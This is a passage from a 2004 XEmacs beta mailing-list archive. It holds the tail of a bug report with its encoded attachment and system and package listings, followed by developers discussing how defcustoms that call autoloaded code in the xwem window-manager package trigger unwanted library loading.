TSgiKS4xNT0nNERdNTQlLEIoJjlPPEZVQT0iVVQ6NlVFKzctVDxGRU45UmBCKTdERTsyNUQo IjUoKTRURQpNNFIoQChEPS01IihAOTcpQTxWNE04RzVGOUY1UigmVUE8Ji1PO0YtQT0iIUk5 JjVOPSZFVD4yYEIoIihACk05VjVUKzYpVTlGOUU8QiFOOjZQQDwnKU84VjVTPFJVUz0mJVQ9 NyxAKiZdUDk2WEA8RzVOKjIhTjtHMVAKTSs2TUk7JlBNOEc1RjlGNVIoJyFSO1YtRTxXLE04 RzVGOUY1UigmMUU7JyRAO0ZZVDwiVU88JjVOKzYtTwpNO0ZZRThXMUk7VlhAOTcpUigiQUI+ NzFFKzYtTzkmNEAoQFhKSlpALSNCSDsnPDhAJUJQKyVCVC4rSk4kCk1RUExBQixALSJQWE80 JVBCQixELSg8SVNLKDMrUyImKCpAQy04Ok4iU0g8KEpYVCxKWEsvIzBRPDtARCgKTSk4Qy5B UFIjYGAkLSMlUU4iPWA+KVFEOichVipUMFRBPDhBRThIQUA5TSlTSlg3M1UiJktJPEQtKD01 UwpNSllbM1UiJktBLTgtKDhDM1VSJktBViM4PjhBQD8oQzkjMiYoOTYqKEpFIzNWQiZLQU1M QEItIkpYLEQtCk0oPVFTSyg3K1MiJkpVJjFCQiY3MCdCQD4qPVQsI0JHLihaUjBWMFRBQiYz PjZGNT0lQkVEOEhCSjotX0AKTSgxOEg8QFhQPDhALiohOFEqXiQpL1ImKCNCPkxGSEk8O0cm KDkmKihYTSQtKDImKCNCTktCLWA2Kl4vRApNWTVQQkIiRy4jQj5MQF44QEIiWCZBXFonKEIh OzhWJUw7JilBOFZMQDkmNUM7VjFFKCYpVTlGOUU8QiFTCk09JylJO0Y8QD1WJUk9IlVGO1co QDwnKU84VjVTPFIhQz03KVI5NllUKzcxSTs2NEA7RllUPCJVUjk2LU8KTTxGME04Vl1NOzYl TjkiIVA8Rl1DOTctUys3LUU7RjBNPFcxUjo2WUcoJyFSO1YtRTxXLE08VzFBPSc1UwpNKCJY TitCIU47RzFQKzcpRTwmXVI9ImBCNFY1Uj1GNVIoJi1MO1ctRTkiIUM7VllOOTYtVDo2XU4o QiFJCk05VllPPEY0QD0iIU47RzFQKzYlUz42WUMrNz1BOjcwQDtGRUwoJyFSO1YtRTxXLE04 RzVGOUY1UigiWE4KTStCIUw7Vl1LOjZZRys2JVQoIihULiNgQigiWE4rQiFOO0cxUCs2QUE7 RjFMOTJVQT03MUg6NllGO1JgQgpNN0JYSjcmWEIoIyRAO0ZZVDwiVUE4Vi1FPCcwTTwnKU84 VjVTPFJVTz03MVA9NzBAKEVMVC01VEIoJllOCk09J2BNPFZZQTxGOE05NylSO1coTTs2NVM8 ViVHOTJgTitCWEA8RjRNPFY1QTxGLUgrNilBOFZNVzg3KUQKTSgjJFAsI2BAOzYlVDhWQE08 VzFSOjZZRygjYEA7RllUPCJVRDk2LU85JjRNPSY1WD0iIUk7Ry1FPEcwTQpNOEc1RjlGNVIr Ny1VOEctVDxGRU45UiFOO0ZBRTg2MUU8QlVNOTctUzg2PUUoIzRAKEIoQDk3KUE8VjRNCk04 RzVGOUY1UigmMUk8Vi1BPEYwQDxGNVM8Jl1OPFY0QDsmRU06NzBAOFZdTTs2JU45IiFOO0cx UCs2QUEKTT1GNE07NjVTPFYlRzk2MEA7RllUPCJVTDg3LVQrNi1POzZVQTtGME09JkVNOTIh TjtHMVArNlFBPFcwTQpNOFZdTTs2JU45IiFOO0cxUCs3KUU4Vl1SOSJVQztWVU04NllEPFIh TjtHMVArNjVOOSJVTzlCVUw6NllFCk0oJllOPSdgTTxWNVI9RjVSKzYpVTlGOUU8QiFOO0cx UCs3IVI7Vi1FPFcsTTxGNVM8Jl1OPFY1PSgjOEkKTSgiQEg5NylSO1coQCtCWE4qMmBIPDc1 ST0iYE4rQlhJKjIhTjtGQUU4NjFFPEJVUjk3IU88RzBAO0ZZVApNPCJgQjBWXVU7JjFOKVcw QDtXIUU7QiFDO1ZZTjk2LVQ6Nl1OKCcxTygiNVMoQiFOO0cxUCs2XVA5NlhNCk07RjVUPVZd UjpSVVM9JylFODZUQDtGWVQ8IlVBOFYtRTwnME08RjVTPCZdTjxWNEA7Jl1POlZFTjlSVUEK TT0iIVI5Nj1FPidgTTw3NU89JjRALDIhRztHNVMrNyFPOjZZVCs2JVQrNilPOyJgQjBWXVU7 JjFOKVcwQApNO1chRTtCIUM7VllOOTYtVDo2XU4oJzFPKCI1UytCKEA7RllUPCJVRDk2LU85 JjRNPSY1WD0iIUw8UiFOCk07RzFQKzctRTxHOUU8QlVCPTY5Rjk3KEA9ViVJPSJVRjtXKEA4 Vl1NOzYlTjkiIU47RkFFODYxRTxCVUMKTTg2UUw4RiVDOlJVRj02WUM9JkVPO0IhUDtXLEA8 VzFSOjZZRzxSIU47RzFQKzYlRDknKUU8VyxAK0JYTgpNNzJgWSowSEAoJilZPSY0TThWXUQ5 MkBCK0JYTihCITs7RllUPCJVVzo3MUgrNl1QOTZYTTlXKU89N2BNCk06NllUOTcpTjg2UEA9 JkVNOTcoQDxWNVI9RjVSKCZZTj0nYE04Vl1OO0Y1Qz0mRU87QlVUOjZVRTtXNVQKTSgmWU49 J2BNPCZdUzxWRUI7J0RNOFZBQTtGPUUrNj1SO1c1UCgmWUk7IiFOO0ZBRTg2MUU8QlVSPTZY TQpNODcwTT0mRU05MmBIOyYlTThGMUEoJllJOyJgSDsmNVQoIlhOK0JgTitCWEkqMmBIKiYp WT0mNE04Vl1ECk05MmBCIipOJFAwQEFCLCYnKEJgTitCWEAsQkRJKCJBQj43MUUrNi1POSY0 QChISC4qVyYoUUBYUyg4RDkKTTA0IydSYERBLiVKKSdCSyk1Wk4wIjhFYDRaIigiNCQuKkxJ PDcqIihKSVAuKkxJOUpZYClCNCE0SChAKQpNMDBYSlJFSkBCKkomIjQkLipKIihSXFMtU0BF PChMXSUnQ2A+K2BYTksoVC4tKlIpQkBYSzw4QzAoKEBJCk1UPSguLC0sQydCVC4qUVQoIzNO S0E9MC0oOkohIz02KSZRUD0mRVFOSllBPDtIRSEkRCIpJFpOLyMwTSEKTTAmJks7ME1gJS02 KSRKUUgjKlY2VUBQQVVXLktAUFJKQy1DOSMiJEFCLUgrIiVQQiQtNE1CMVJNQF1ELApNKDhE PUs4OVIjNyYoOCJEPitQUiM/UCQuKzBYUSNDNC4qUFhMI0JbNSdDOD4tUVhMJzFYWCdDKD4r MFQ9Ck0iYFRbSlg3NCMyJkpAMFc1QjFMPCcxSTw7Sk44NyZaKTAxKWBCMS5LQ1BUKzA0IUFK VlQrMCEzNUIxKkwKTTpgUk1FTTgsKD09U0pYLCxKSFM4VjBQQSg4QzoiUEE8KEEjNSs6WiNW UFRBQjFSS0ZgWFlLKFguK0pSKgpNQk1ELCg3JihUIiIoKj1TPVdIXkpBTV9AWDBYUihSWCgj QlJMSlBYWlhGTkxJPixAQihILTw4QC4rViooCk1ZLjQuKzIkQUpYRC4rXjlZQi48QD8oQElK SDs/WC5ALiwyLE4hTkRAQiJOJyhCITs7RllUPCJVQztWWU4KTTk2LVQ6Nl1OKzYlTDo3LVQo JzFJOzY0QDg2UUk8VzBAOTZZVDxHREA8JylPOFY1UzxSIUI9NjlGOTcoQApNOSYlVDkyVVQ7 UlVUOjZVRSgjQEA5JjVDO1YxRSs3MUk7NjRALCJgVi0zNFMtQmBCN0VRPCtAVF83JlhCCk0o IikuMTU9JzREXTU0JSxCKCY5TzxGVUE9IlVUOjZVRSs3LVQ8RkVOOVJgQik3REU7MjVEKCI1 KCk0VEUKTTRSKEAoRD0tNSIoQDk3KUE8VjRNOEc1RjlGNVIoJlVBPCYtTztGLUE9IiFJOSY1 Tj0mRVQ+MmBCKCIoQApNOVY1VCs2KVU5RjlFPEIhTjo2UEA8JylPOFY1UzxSVVM9JiVUPTcs QCtCWE4oJllOPSdgTTpWRUw7IlVCCk09NjlGOTcoQDwnKU84VjVTPFJVQj02OUY5NyhAOSY1 TDwyIU47RzFQKzZdUDk2WE04Vl1OO0Y1Qz0mRU8KTTtCIUU8RyhAK0JYTigiWE4rQiFOO0ZB RTg2MUU8QlVSOTchTzxHMEA7RllUPCJgQjBWXVU7JjFOKVcwQApNO1chRTtCIUM7VllOOTYt VDo2XU4oJzFPKCI1UyhCIU47RzFQKzZdUDk2WE07RjVUPVZdUjpSVVM9JylFCk04NlRAO0ZZ VDwiVUE4Vi1FPCcwTTxGNVM8Jl1OPFY0QDsmXU86VkVOOVJVQT0iIVI5Nj1FPidgTTw3NU8K TT0mNEAsMiFHO0c1Uys3IU86NllUKzYlVCs2KU87ImBCMFZdVTsmMU4pVzBAO1chRTtCIUM7 VllOOTYtVApNOjZdTignMU8oIjVTK0IoQDtGWVQ8IlVEOTYtTzkmNE09JjVYPSIhTDxSIU47 RzFQKzctRTxHOUU8QlVCCk09NjlGOTcoQD1WJUk9IlVGO1coQDhWXU07NiVOOSIhTjtGQUU4 NjFFPEJVQzg2UUw4RiVDOlJVRj02WUMKTT0mRU87QiFQO1csQDxXMVI6NllHPFIhTjtHMVAr NiVEOScpRTxXLEArQlhONzJgWSoyYEgqJyVVOjcwQApNK0JYTioyRT0oIzBJIkJgQDtGWVQ8 IlVSOTclVTk3LVQrNllFPVY9UjtXNVA8UkBCNSc1RSsiYFEsUiEhCk08JyhALENgUC0iYFEs U0hSLFNIUi4yYEssIyhQLCIoQChGWUU9Vy1TOTcpVjk3KE44VkVMOTYkTjo3MEIKTSowSEAo Jj1OPTcsTTxGNVE9NjVTPSJVTjk3PUc8Rl1VPCcsSChFMVU5MlBALDMsQDA3IVIoIyhQLCMw QApNLDMsWixDLFosQ0RAKlNgUiwjYEIoIkFOO0cxUCgiKU45Nz1TPFY1Uj1GNVIrRi1JOyY1 QStGRVQoQkRJCk0iQmBAOVZZVTxSVUE8VkxNPFY1Uj1GNVIrNjlPPEJVTjk3PE05VylPPTch UyoiRCooIiFHO0c1Uys2OUkKTTtGME07RjVXKzZZRT1XLUc8Rl1VPCcsSCowSEAoJj1OPTcs TTxWNVQ9N2BNO0Y1VzxSQU46NlBAO0ZFTApNKCZZSTsiRCooIiFCPjcxRSs2LU85JjRIKEJY TitCKEA2Vj1OPTcsTTxWUUE9RjRAOVZZVTxSVUM9NylSCk05NllUKzctVDg3KVQ9N2BNOUZF TDkyIUc7RzVTKzctVDg3KVQ9N2BNOUZFTDkyIUQ6NjBNOFZdTjtGNUMKTT0iIUw5NzlFOyIh RDtWWVQrNi1PO0ZZRThXMEA5VllVPFJVRzxGXVU8IlVRPTZFVCgmPU49NyxNPEc1TgpNKzZB TztWTVMoJj1OPTcsTTxXMUE8RzFVPCJVSDtWXUsoJj1OPTcsTTs2JUs5MlVOOTc9UzxGLE05 RkVMCk05MiFHO0c1Uys2MVI6NilCOyY0TTxGNUE5IlVGOjZRRSgmKUI4QlVMO1Y9STtCIUE5 JjBNOiZdTzpSIUcKTTtHNVMrNy1VOzZVQTxHRE07Nl1EOTJVSDtWXUsoJj1OPTcsTTlXKU89 NyFMOTZZUys2VU85JjRAOVZZVQpNPFJVUjk3JVU5Ny1UKzYtUjk2JVQ5MlVHPEZdVTwiYEI8 NzVFPTY0QigiQU47RjFSODY5VCgiKEIqMmBCCk05JylBOUcxUyhCYEg7RllEPEYlRj0iYEIo QkRAOVZZVTxSVVM5NzFVPCJVTjk3PVMoJllJOyIhRztHNVMKTSs3LUU9JzVQKzZZRT1XLE06 Jl1POlIhRztHNVMrNy1UODcpVCs2MVI4NjlUKzctRT0nNVAoJj1OPTcsTQpNOVcpTz03YE07 JkVTPSJVRzxGXVU8JyxAOVZZVTxSVUc8Rl1VPCJVRjo3KVM9IlVVO0cpRTg2ME05VylPCk09 N2BAOVZZVTxSVUM7VllGOjY9VTxGNE09VkVOOSZdVzxSIUc8Rl1VPCIhRztHNVMrNj1SO1c1 UCs3LUUKTT0iVU07VjFFKzZRSTtGNEA5VllVPFJVUz0mJVI9JjVEKzZBTztWTEA5VllVPFJV VTxWNE05JylJOEYpTApNOTJVRjo2UUUoJj1OPTcsTT03LUUrNj1SO1c1UDsmNU48UiFHO0c1 Uys2JUc5NllUNzJgVCowSEAoJj1OCk09NyxNLDJBTjo2UEA7RkVMKCZZSTsiRCooIiFHO0c1 UyomWUk7IkQqKCIhQzg2UUwrNkVOPSY1Ujg2LVQKTTo3OUU7J0RIOVZZVTxSRCooIiFDO1ZV TTg2WUQrNjVYOTYtVT0mNEg5VllVPFIhVCowSEAoJjVYOTYtVQpNPSY0TTk3QVQ5NllEOTYw TThWXU07NiVOOSJBTjo2UEkiQmBAOFYlTDsiVUk7RzFFPEYlQz0mRVY5NlFZCk0qJjVYOTYt VT0mNE05N0FUOTZZRDk2ME04Vl1NOzYlTjkiRCooImBIOSZFUzwmJVQ4VkBNOTc5RTtHMEAK LihFTUk7RzFFPEZZQTslVEIqMEhgCmAKZW5kCg== --6u2T2v1Jo/ Content-Type: text/plain; charset=us-ascii Content-Description: message body text Content-Transfer-Encoding: 7bit ================================================================ System Info to help track down your bug: --------------------------------------- uname -a: Linux boffi95 2.4.18-bf2.4 #1 Son Apr 14 09:53:28 CEST 2002 i686 GNU/Linux ./configure '--extra-verbose' '--rel-alloc' '--with-widgets' '--with-athena=3d' '--debug' '--pdump' '--with-wmcommand=no' '--with-sound=no' '--error-checking=all' '--with-mule' '--with-xfs' '--use-number-lib=gmp' XEmacs 21.5-b17 "chayote" (+CVS-20040411) configured for `i686-pc-linux'. Compilation Environment and Installation Defaults: Source code location: /home/boffi/src/xemacs-21.5 Installation prefix: /usr/local Operating system description file: `s/linux.h' Machine description file: `m/intel386.h' Compiler version: gcc (GCC) 3.3.3 (Debian 20040401) - GCC specs file: /usr/lib/gcc-lib/i486-linux/3.3.3/specs - Compiler command: gcc -Wall -Wno-switch -Winline -Wmissing-prototypes -Wsign-compare -Wundef -Wstrict-prototypes -Wpacked -Wshadow -Wmissing-declarations -g -O3 libc version: GNU libc 2.3.2.ds1-11 (Debian) Relocating allocator for buffers: yes GNU version of malloc: yes - Using Doug Lea's new malloc from the GNU C Library. Window System: Compiling in support for the X window system: - X Windows headers location: /usr/X11R6/include - X Windows libraries location: /usr/X11R6/lib Compiling in support for the Athena widget set: - Athena headers location: X11/Xaw3d - Athena library to link: Xaw3d Using Lucid menubars. Using Lucid scrollbars. Using Athena dialog boxes. Using Athena native widgets. TTY: Compiling in support for ncurses. Compiling in support for GPM (General Purpose Mouse). Images: Compiling in support for GIF images (builtin). Compiling in support for XPM images. Compiling in support for PNG images. Compiling in support for JPEG images. Compiling in support for TIFF images. Compiling in support for X-Face message headers. Sound: Databases: Internationalization: Compiling in support for Mule (multi-lingual Emacs). Compiling in support for XIM (X11R5+ I18N input method). - Using raw Xlib to provide XIM support. - Using XFontSet to provide bilingual menubar. Mail: Compiling in support for "dot-locking" mail spool file locking method. Other Features: Inhibiting IPv6 canonicalization at startup. Compiling in support for dynamic shared object modules. Compiling in support for more number types using the GNU MP library. Using the new portable dumper. Compiling in support for extra debugging code. WARNING: --------------------------------------------------------- WARNING: Compiling in support for runtime error checking. WARNING: XEmacs will run noticeably more slowly as a result. WARNING: Error checking is on by default for XEmacs beta releases. WARNING: --------------------------------------------------------- Load-Path Lisp Shadows: ---------------------- (/home/boffi/.xemacs/mule-packages/lisp/mule-base/ethio-util /usr/local/lib/xemacs-21.5-b17/lisp/mule/ethio-util /home/boffi/.xemacs/mule-packages/lisp/mule-base/china-util /usr/local/lib/xemacs-21.5-b17/lisp/mule/china-util /home/boffi/.xemacs/mule-packages/lisp/mule-base/cyril-util /usr/local/lib/xemacs-21.5-b17/lisp/mule/cyril-util /home/boffi/.xemacs/mule-packages/lisp/mule-base/korea-util /usr/local/lib/xemacs-21.5-b17/lisp/mule/korea-util /home/boffi/.xemacs/mule-packages/lisp/mule-base/viet-util /usr/local/lib/xemacs-21.5-b17/lisp/mule/viet-util /home/boffi/.xemacs/mule-packages/lisp/mule-base/japan-util /usr/local/lib/xemacs-21.5-b17/lisp/mule/japan-util /home/boffi/.xemacs/mule-packages/lisp/mule-ucs/unicode /usr/local/lib/xemacs-21.5-b17/lisp/unicode) Installed XEmacs Packages: ------------------------- (xwem ver: 1.08 upstream: 0.1) (xlib ver: 1.08 upstream: 0.1) (xemacs-base ver: 1.86 upstream: No-Upstream-Ver) (x-symbol ver: 1.1 upstream: 4.5.1) (vm ver: 7.18 upstream: 7.17) (time ver: 1.14 upstream: 1.17) (textools ver: 1.15 upstream: No-Upstream-Ver) (text-modes ver: 1.77 upstream: No-Upstream-Ver) (texinfo ver: 1.25 upstream: No-Upstream-Ver) (sh-script ver: 1.18 upstream: 2.0e) (sasl ver: 1.14 upstream: 1.14.4) (ruby-modes ver: 1.02 upstream: 1.6.8) (reftex ver: 1.34 upstream: 4.21) (python-modes ver: 1.05 upstream: No-Upstream-Ver) (psgml-dtds ver: 1.03 upstream: No-Upstream-Ver) (psgml ver: 1.42 upstream: 1.3.1) (ps-print ver: 1.1 upstream: 6.5.6) (prog-modes ver: 1.96 upstream: No-Upstream-Ver) (pgg ver: 1.04 upstream: 0.1) (perl-modes ver: 1.05 upstream: No-Upstream-Ver) (pcomplete ver: 1.03 upstream: 1.1.6) (os-utils ver: 1.35 upstream: No-Upstream-Ver) (net-utils ver: 1.42 upstream: N/A) (mmm-mode ver: 1.02 upstream: 0.4.7) (misc-games ver: 1.18 upstream: No-Upstream-Ver) (mailcrypt ver: 2.14 upstream: 3.5.8) (mail-lib ver: 1.64 upstream: No-Upstream-Ver) (ispell ver: 1.29 upstream: 3.6) (hm--html-menus ver: 1.23 upstream: 5.9) (gnus ver: 1.79 upstream: 5.10.6) (general-docs ver: 1.01 upstream: No-Upstream-Ver) (fsf-compat ver: 1.14 upstream: No-Upstream-Ver) (fortran-modes ver: 1.04 upstream: No-Upstream-Ver) (footnote ver: 1.16 upstream: 0.18x) (efs ver: 1.32 upstream: 1.22) (edit-utils ver: 2.11 upstream: No-Upstream-Ver) (ediff ver: 1.5 upstream: 2.75) (ecrypto ver: 0.17 upstream: 2.0) (ecb ver: 1.17 upstream: 2.21) (dired ver: 1.15 upstream: 7.11) (dictionary ver: 1.12 upstream: regular) (debug ver: 1.17 upstream: No-Upstream-Ver) (cookie ver: 1.15 upstream: No-Upstream-Ver) (cc-mode ver: 1.42 upstream: 5.30.8) (calendar ver: 1.23 upstream: No-Upstream-Ver) (calc ver: 1.24 upstream: 2.02fX3) (c-support ver: 1.2 upstream: No-Upstream-Ver) (bbdb ver: 1.24 upstream: 2.34) (auctex ver: 1.36 upstream: 11.13) (mule-ucs ver: 1.05 upstream: 0.84) (mule-base ver: 1.46 upstream: No-Upstream-Ver) (latin-unity ver: 1.09 upstream: 1.09) Installed Modules: ----------------- Features: -------- (xemacsbug shadow debug gnus-cache gnus-group gnus-undo nndraft nnmh nnmail mail-source format-spec efs-cu nntp nnoo uboat gnus-start gnus-spec gnus-int gnus-range message mml mml-sec mml-smime smime dig mm-decode executable mm-bodies mm-encode mailcap lpr mail-parse rfc2045 rfc2231 rfc2047 qp ietf-drums mail-abbrevs sendmail rfc822 mailheader canlock gnus-win gnus gnus-ems gnus-xmas wid-edit paren blink-paren func-menu bbdb timezone font-lock cus-face jka-compr tex-site smiley annotations messagexmas nnheader nnheaderxm gnus-util netrc time-date parse-time mm-util mail-prsvr mail-utils x-compose filladapt view-less view mwheel xwem-autoloads xwem-compat xwem-keyboard edmacro xlib-xtest xlib-xc xwem-macros xlib-math xlib-autoloads xemacs-base-autoloads x-symbol-autoloads vm-autoloads time-autoloads textools-autoloads text-modes-autoloads texinfo-autoloads sh-script-autoloads sasl-autoloads ruby-modes-autoloads reftex-autoloads python-modes-autoloads psgml-dtds-autoloads psgml-autoloads ps-print-autoloads prog-modes-autoloads pgg-autoloads perl-modes-autoloads pcomplete-autoloads os-utils-autoloads net-utils-autoloads mmm-mode-autoloads misc-games-autoloads mailcrypt-autoloads mail-lib-autoloads ispell-autoloads hm--html-menus-autoloads gnus-autoloads general-docs-autoloads fsf-compat-autoloads fortran-modes-autoloads footnote-autoloads efs-autoloads edit-utils-autoloads ediff-autoloads ecrypto-autoloads ecb-autoloads dired-autoloads dictionary-autoloads debug-autoloads cookie-autoloads cc-mode-autoloads calendar-autoloads calc-autoloads c-support-autoloads bbdb-autoloads auctex-autoloads mule-ucs-autoloads mule-base-autoloads latin-unity-autoloads modules-autoloads mule-autoloads lisp-autoloads loadhist rsz-minibuf auto-show fontl-hooks x-iso8859-1 tibetan lao devanagari indian slovenian czech romanian ccl code-cmds gutter-items menubar-items x-menubar mode-motion mouse behavior itimer auto-save lisp-mode easymenu iso8859-1 page buff-menu lib-complete cus-file derived newcomment env text-props frame obsolete cus-start custom widget cl-extra mini-cl cl cl-19 packages backquote unicode lucid-scrollbars cut-buffer lucid-menubars athena-dialogs x c-balloon-help tty-frames tty toolbar scrollbar unix-processes multicast network-streams subprocesses bigfloat ratio bignum number-types modules menu-accelerator-support menubar md5 xemacs xim mule gutter tiff png gif jpeg xface xpm xbm lisp-float-type file-coding linux dialog devices window-system base64) Recent keystrokes: ----------------- misc-user misc-user M-x g n u s RET button1 button1up misc-user misc-user misc-user misc-user misc-user button1 button1up misc-user Recent messages (most recent first): ----------------------------------- Parsing /home/boffi/.mailrc... done Parsing /home/boffi/.mailrc... Loading xemacsbug...done Loading xemacsbug... Entering debugger... Loading debug...done Loading debug... Loading gnus-cache...done Loading gnus-cache... Reading active file from newsserver.cilea.it via nntp... Loading gnus-group...done Loading gnus-group... Reading /home/boffi/.newsrc.eld... Loading efs-cu...done Loading efs-cu... Loading gnus-start...done Loading executable...done Loading executable... Loading gnus-start... Loading gnus...done --6u2T2v1Jo/-- From xemacs-beta-admin@xemacs.org Tue Apr 13 07:45:05 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3DBj4s24644; Tue, 13 Apr 2004 07:45:04 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3DBigh24301 for xemacs-beta-mailman@xemacs.org; Tue, 13 Apr 2004 07:44:42 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3DBie024281 for turnbull@tux.org; Tue, 13 Apr 2004 07:44:40 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3DBids24271 for ; Tue, 13 Apr 2004 07:44:39 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BDMLC-0007hY-00; Tue, 13 Apr 2004 20:44:34 +0900 To: Zajcev Evgeny Cc: XEmacs beta Subject: Re: Stdout chatter with test packages References: <87zn9g778p.fsf@tleepslib.sk.tsukuba.ac.jp> <827jwknva3.fsf@us.dmz.local> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Tue, 13 Apr 2004 20:44:34 +0900 In-Reply-To: <827jwknva3.fsf@us.dmz.local> (Zajcev Evgeny's message of "Tue, 13 Apr 2004 12:20:52 +0400") Message-ID: <878yh06r19.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , By the way, I want to thank and congratulate you on this work. I never got to use a Lisp machine, but now I have Lisp->X bindings, and in Emacs, to boot! >>>>> "Zajcev" == Zajcev Evgeny writes: Zajcev> I did not fully followed problem, but is there something Zajcev> that can be fixed in xlib or xwem to ommit that? I'm currently in the process of rebuilding my package tree, so I'm not in a position to test, but in a couple of cases you have defcustoms which call autoloaded code, such as the one for `xwem-quit-key'. This will cause those libraries to be loaded and generate the messages you see. I used "grep '(defcustom[- a-z]*(' *.el" to find the following (and some harmless ones): xwem-keyboard.el:(defcustom xwem-quit-key (xwem-kbd "H-g") xwem-keyboard.el:(defcustom xwem-help-key (xwem-kbd "H-h") xwem-keyboard.el:(defcustom xwem-universal-key (xwem-kbd "H-u") There don't seem to be any in xlib. I'm not sure if this accounts for all the messages Jerry saw. Here, this style seems like a bad idea as it defeats the purpose of autoloading, but I don't think it can do any real harm. Fixing: In the case of xwem-quit-key, I don't see a real need for autoloading. If you want that anyway (so it will be in the Customize menus, for example), use [(hyper g)] instead of (xwem-kbd "H-g"). The conversion of the string using `kbd' is considered bad style in XEmacs anyway, we prefer---but don't force on packages---the vector-style specification. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Tue Apr 13 08:29:06 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3DCT2s24417; Tue, 13 Apr 2004 08:29:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3DCRXF23403 for xemacs-beta-mailman@xemacs.org; Tue, 13 Apr 2004 08:27:33 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3DCRVo23382 for turnbull@tux.org; Tue, 13 Apr 2004 08:27:31 -0400 Received: from relay.mortal.ru ([62.5.206.77]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3DCRUs23368; Tue, 13 Apr 2004 08:27:30 -0400 Received: from us.dmz.local (wus000.dmz.local [10.32.1.6]) by relay.mortal.ru (8.11.6/8.11.6) with ESMTP id i3DCRTv02354; Tue, 13 Apr 2004 16:27:29 +0400 Received: from us.dmz.local (localhost.dmz.local [127.0.0.1]) by us.dmz.local (8.12.3/8.12.3) with ESMTP id i3DCWTGg021954; Tue, 13 Apr 2004 16:32:29 +0400 (MSD) (envelope-from zevlg@yandex.ru) Received: (from wtc05@localhost) by us.dmz.local (8.12.3/8.12.3/Submit) id i3DCWTbm021953; Tue, 13 Apr 2004 16:32:29 +0400 (MSD) X-Authentication-Warning: us.dmz.local: wtc05 set sender to zevlg@yandex.ru using -f To: "Stephen J. Turnbull" Cc: Zajcev Evgeny , XEmacs beta Subject: Re: Stdout chatter with test packages References: <87zn9g778p.fsf@tleepslib.sk.tsukuba.ac.jp> <827jwknva3.fsf@us.dmz.local> <878yh06r19.fsf@tleepslib.sk.tsukuba.ac.jp> From: Zajcev Evgeny X-Face: "5}C(Ve&0,cfnPM*.j!SMQTCsm^+Wk+i~W\_k9qVJdd*uc#}o)(YzI"M*@M9{xWh4WV-o7hq0CBmtE%(4J(Qw1y@JpI,Eb3".Y/qD|O/]'nD Date: Tue, 13 Apr 2004 16:32:29 +0400 In-Reply-To: <878yh06r19.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Tue, 13 Apr 2004 20:44:34 +0900") Message-ID: <823c78njmq.fsf@us.dmz.local> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.5 (celery, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" writes: > By the way, I want to thank and congratulate you on this work. I > never got to use a Lisp machine, but now I have Lisp->X bindings, and > in Emacs, to boot! > >>>>>> "Zajcev" == Zajcev Evgeny writes: > > Zajcev> I did not fully followed problem, but is there something > Zajcev> that can be fixed in xlib or xwem to ommit that? > > I'm currently in the process of rebuilding my package tree, so I'm not > in a position to test, but in a couple of cases you have defcustoms > which call autoloaded code, such as the one for `xwem-quit-key'. This > will cause those libraries to be loaded and generate the messages you > see. I used "grep '(defcustom[- a-z]*(' *.el" to find the following > (and some harmless ones): > > xwem-keyboard.el:(defcustom xwem-quit-key (xwem-kbd "H-g") > xwem-keyboard.el:(defcustom xwem-help-key (xwem-kbd "H-h") > xwem-keyboard.el:(defcustom xwem-universal-key (xwem-kbd "H-u") > > There don't seem to be any in xlib. I'm not sure if this accounts for > all the messages Jerry saw. > > Here, this style seems like a bad idea as it defeats the purpose of > autoloading, but I don't think it can do any real harm. > > Fixing: In the case of xwem-quit-key, I don't see a real need for > autoloading. If you want that anyway (so it will be in the Customize > menus, for example), use [(hyper g)] instead of (xwem-kbd "H-g"). The > conversion of the string using `kbd' is considered bad style in XEmacs > anyway, we prefer---but don't force on packages---the vector-style > specification. Normally yes, xwem-kbd can be ommited if user will not change `xwem-hyper-modifier' variable, which default value is 'hyper. xwem-kbd is used to substitue modifiers, for example setting `xwem-meta-modifier' to 'control and issuing (xwem-kbd "H-C-l") will produce: (xwem-kbd "H-M-l") => [(hyper control ?l)] Such xwem-kbd was created, because of need to tweak default xwem bindings, without need to modify them, i.e. for some people it is easy to 